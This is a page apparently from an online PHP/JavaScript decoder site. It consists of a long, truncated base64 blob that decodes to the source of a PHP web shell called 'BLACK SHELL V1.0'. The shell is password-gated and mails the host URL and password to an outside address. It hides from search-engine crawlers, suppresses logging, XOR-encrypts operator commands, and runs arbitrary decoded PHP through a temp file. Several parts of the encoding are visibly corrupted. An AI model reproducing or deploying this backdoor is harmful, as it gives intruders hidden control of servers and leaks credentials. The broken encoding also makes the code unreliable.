Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


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QoJHN0ciwgJHB3ZCkKICAgIHsKICAgICAgICAkcHdkID0gYmFzZTY0X2VuY29kZSgkcHdkKTsKICAgICAgICAkc3RyID0gYmFzZTY0X2RlY29kZSgkc3RyKTsKICAgICAgICAkZW5jX2NociA9ICIiOwogICAgICAgICRlbmNfc3RyID0gIiI7CiAgICAgICAgJGkgPSAwOwogICAgICAgIHdoaWxlICgkaSA8IHN0cmxlbigkc3RyKSkgewogICAgICAgICAgICBmb3IgKCRqID0gMDsgJGogPCBzdHJsZW4oJHB3ZCk7ICRqKyspIHsKICAgICAgICAgICAgICAgICRlbmNfY2hyID0gY2hyKG9yZCgkc3RyWyRpXSkgXiBvcmQoJHB3ZFskal0pKTsKICAgICAgICAgICAgICAgICRlbmNfc3RyIC49ICRlbmNfY2hyOwogICAgICAgICAgICAgICAgJGkrKzsKICAgICAgICAgICAgICAgIGlmICgkaSA+PSBzdHJsZW4oJHN0cikpCiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIGJhc2U2NF9kZWNvZGUoJGVuY19zdHIpOwogICAgfQogICAgQGluaV9zZXQoJ2Vycm9yX2xvZycsIE5VTEwpOwogICAgQGluaV9zZXQoJ2xvZ19lcnJvcnMnLCAwKTsKICAgIEBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCAwKTsKICAgIEBzZXRfdGltZV9saW1pdCgwKTsKICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjMuMCcsICc8JykpIHsKICAgICAgICBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CiAgICB9CiAgICBAZGVmaW5lKCdWRVJTSU9OJywgJzQuMiJyk7CiAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X21hZ2ljX3F1b3Rlc19ncGMnKSB8fCBnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7CiAgICAgICAgZnVuY3Rpb24gc3RyaXBzbGFzaGVzX2FycmF5KCRhcnJheSkKICAgICAgICB7CiAgICAgICAgICAg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ZmFsc2UpID8gJycgOiBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDMnXSwgRU5UX1FVT1RFUykpIC4gIic7CiAgICAgICAgdmFyIGQgPSBkb2N1bWVudDsKICAgICAgICBmdW5jdGlvbiBlbmNyeXB0KHN0cixwd2Qpe2lmKHB3ZD09bnVsbHx8cHdkLmxlbmd0aDw9MCl7cmV0dXJuIG51bGw7fXN0cj1iYXNlNjRfZW5jb2RlKHN0cik7cHdkPWJhc2U2NF9lbmNvZGUocHdkKTt2YXIgZW5jX2Nocj0nJzt2YXIgZW5jX3N0cj0nJzt2YXIgaT0wO3doaWxlKGk8c3RyLmxlbmd0aCl7Zm9yKHZhciBqPTA7ajxwd2QubGVuZ3RoO2orKyl7ZW5jX2Nocj1zdHIuY2hhckNvZGVBdChpKV5wd2QuY2hhckNvZGVBdChqKTtlbmNfc3RyKz1TdHJpbmcuZnJvbUNoYXJDb2RlKGVuY19jaHIpO2krKztpZihpPj1zdHIubGVuZ3RoKWJyZWFrO319cmV0dXJuIGJhc2U2NF9lbmNvZGUoZW5jX3N0cik7fQogICAgICAgIGZ1bmN0aW9uIHV0ZjhfZW5jb2RlKGFyZ1N0cmluZyl7dmFyIHN0cmluZz0oYXJnU3RyaW5nKycnKTt2YXIgdXRmdGV4dD0nJyxzdGFydCxlbmQsc3RyaW5nbD0wO3N0YXJ0PWVuZD0wO3N0cmluZ2w9c3RyaW5nLmxlbmd0aDtmb3IodmFyIG49MDtuPHN0cmluZ2w7bisrKXt2YXIgYzE9c3RyaW5nLmNoYXJDb2RlQXQobik7dmFyIGVuYz1udWxsO2lmKGMxPDEyOCl7ZW5kKys7fWVsc2UgaWYoYzE+MTI3JiZjMTwyMDQ4KXtlbmM9U3RyaW5nLmZyb21DaGFyQ29kZSgoYzE+PjYpfDE5MikrU3RyaW5nLmZyb21DaGFyQ29kZSgoYzEmNjMpfDEyOCk7fWVsc2V7ZW5jPVN0cmluZy5mcm9tQ2hhckNvZGUoKGMxPj4xMil8MjI0KStTdHJpbmcuZnJvbUNoYXJDb2RlKCgoYzE+PjYpJjYzKXwxMjgpK1N0cmluZy5mcm9tQ2hhckNvZGUoKGMxJjYzKXwxMjgpOpZihlbmMhPT1udWxsKXtpZihlbmQ+c3RhcnQpe3V0ZnRleHQrPXN0cmluZy5zbGljZShzdGFydCxlbmQpO311dGZ0ZXh0Kz1lbmM7c3RhcnQ9ZW5kPW4rMTt9fWlmKGVuZD5zdGFydCl7dXRmdGV4dCs9c3RyaW5nLnNsaWNlKHN0YXJ0LHN0cmluZ2wpO31yZXR1cm4gdXRmdGV4dDt9CiAgICAgICAgZnVuY3Rpb24gYmFzZTY0X2VuY29kZShkYXRhKXt2YXIgYjY0ID0gJ0FCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXowMTIzNDU2Nzg5Ky89Jzt2YXIgbzEsbzIsbzMsaDEsaDIsaDMsaDQsYml0cyxpPTAsYWM9MCxlbmM9JycsdG1wX2Fycj1bXTtpZiAoIWRhdGEpe3JldHVybiBkYXRhO31kYXRhPXV0ZjhfZW5jb2RlKGRhdGErJycpO2Rve28xPWRhdGEuY2hhckNvZGVBdChpKyspO28yPWRhdGEuY2hhckNvZGVBdChpKyspO28zPWRhdGEuY2hhckNvZGVBdChpKyspO2JpdHM9bzE8PDE2fG8yPDw4fG8zO2gxPWJpdHM+PjE4JjB4M2Y7aDI9Yml0cz4+MTImMHgzZjtoMz1iaXRzPj42JjB4M2Y7aDQ9Yml0cyYweDNmO3RtcF9hcnJbYWMrK109YjY0LmNoYXJBdChoMSkrYjY0LmNoYXJBdChoMikrYjY0LmNoYXJBdChoMykrYjY0LmNoYXJBdChoNCk7fXdoaWxlKGk8ZGF0YS5sZW5ndGgpO2VuYzbXBfYXJyLmpvaW4oJycpO3N3aXRjaCAoZGF0YS5sZW5ndGglMyl7Y2FzZSAxOmVuYz1lbmMuc2xpY2UoMCwtMikrJz09JzticmVhaztjYXNlIDI6ZW5jPWVuYy5zbGljZSgwLC0xKSsnPSc7YnJlYWs7fXJldHVybiBlbmM7fQogICAgICAgIGZ1bmN0aW9uIHNldChhLGMscDEscDIscDMsY2hhcnNldCkgewogICAgICAgICAgICBpZihhIT1udWxsKWQubWYuYSYWx1ZT1hO2Vsc2UgZC5tZi5hLnZhbHVlPWFfOwogICAgICAgICAgICBpZihjIT1udWxsKWQubWYuYy52YWx1ZT1jO2Vsc2UgZC5tZi5jLnZhbHVlPWNfOwogICAgICAgICAgICBpZihwMSE9bnVsbClkLm1mLnAxLnZhbHVlPXAxO2Vsc2UgZC5tZi5wMS52YWx1ZT1wMV87CiAgICAgICAgICAgIGlmKHAyIT1udWxsKWQubWYucDIudmFsdWU9cDI7ZWxzZSBkLm1mLnAyLnZhbHVlPXAyXzsKICAgICAgICAgICAgaWYocDMhPWbGwpZC5tZi5wMy52YWx1ZT1wMztlbHNlIGQubWYucDMudmFsdWU9cDNfOwogICAgICAgICAgICBkLm1mLmEudmFsdWUgPSBlbmNyeXB0KGQubWYuYSYWx1ZSwnIiAuICRfQ09PS0lFWkNSgkX1NFUlZFUlsnSFRUUF9IT1NUJpIC4gImtleSJdIC4gIicpOwogICAgICAgICAgICBkLm1mLmMudmFsdWUgPSBlbmNyeXB0KGQubWYuYy52YWx1ZSwnIiAuICRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJpIC4gImtleSJdIC4gIicpOwogICAgICAgICAgICBkLm1mLnAxLnZhbHVlID0gZW5jcnlwdChkLm1mLnAxLnZhbHVlLCciIC4gJF9DT09LSUVbbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAia2V5Il0gLiAiJyk7CiAgICAgICAgICAgIGQubWYucDIudmFsdWUgPSBlbmNyeXB0KGQubWYucDIudmFsdWUsJyIgLiAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICJrZXkiXSAuICInKTsKICAgICAgICAgICAgZC5tZi5wMy52YWx1ZSA9IGVuY3J5cHQoZC5tZi5wMy52YWx1ZSwnIiAuICRfQ09PS0lFWkNSgkX1NFUlZFUlsnSFRUUF9IT1NUJpIC4gImtleSJdIC4gIicpOwogICAgICAgICAgICBpZihjaGFyc2V0IT1udWxsKWQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0O2Vsc2UgZC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXRfOwogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBnKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CiAgICAgICAgICAgIHNldChhLGMscDEscDIscDMsY2hhcnNldCk7CiAgICAgICAgICAgIGQubWYuc3VibWl0KCk7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIGEoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKICAgICAgICAgICAgc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsKICAgICAgICAgICAgdmFyIHBhcmFtcyA9ICdhamF4PXRydWUnOwogICAgICAgICAgICBmb3IoaT0wO2k8ZC5tZi5lbGVtZW50cy5sZW5ndGg7aSsrKQogICAgICAgICAgICAgICAgcGFyYW1zICs9ICcmJytkLm1mLmVsZW1lbnRzW2ldLm5hbWUrJz0nK2VuY29kZVVSSUNvbXBvbmVudChkLm1mLmVsZW1lbnRzW2ldLnZhbHVlK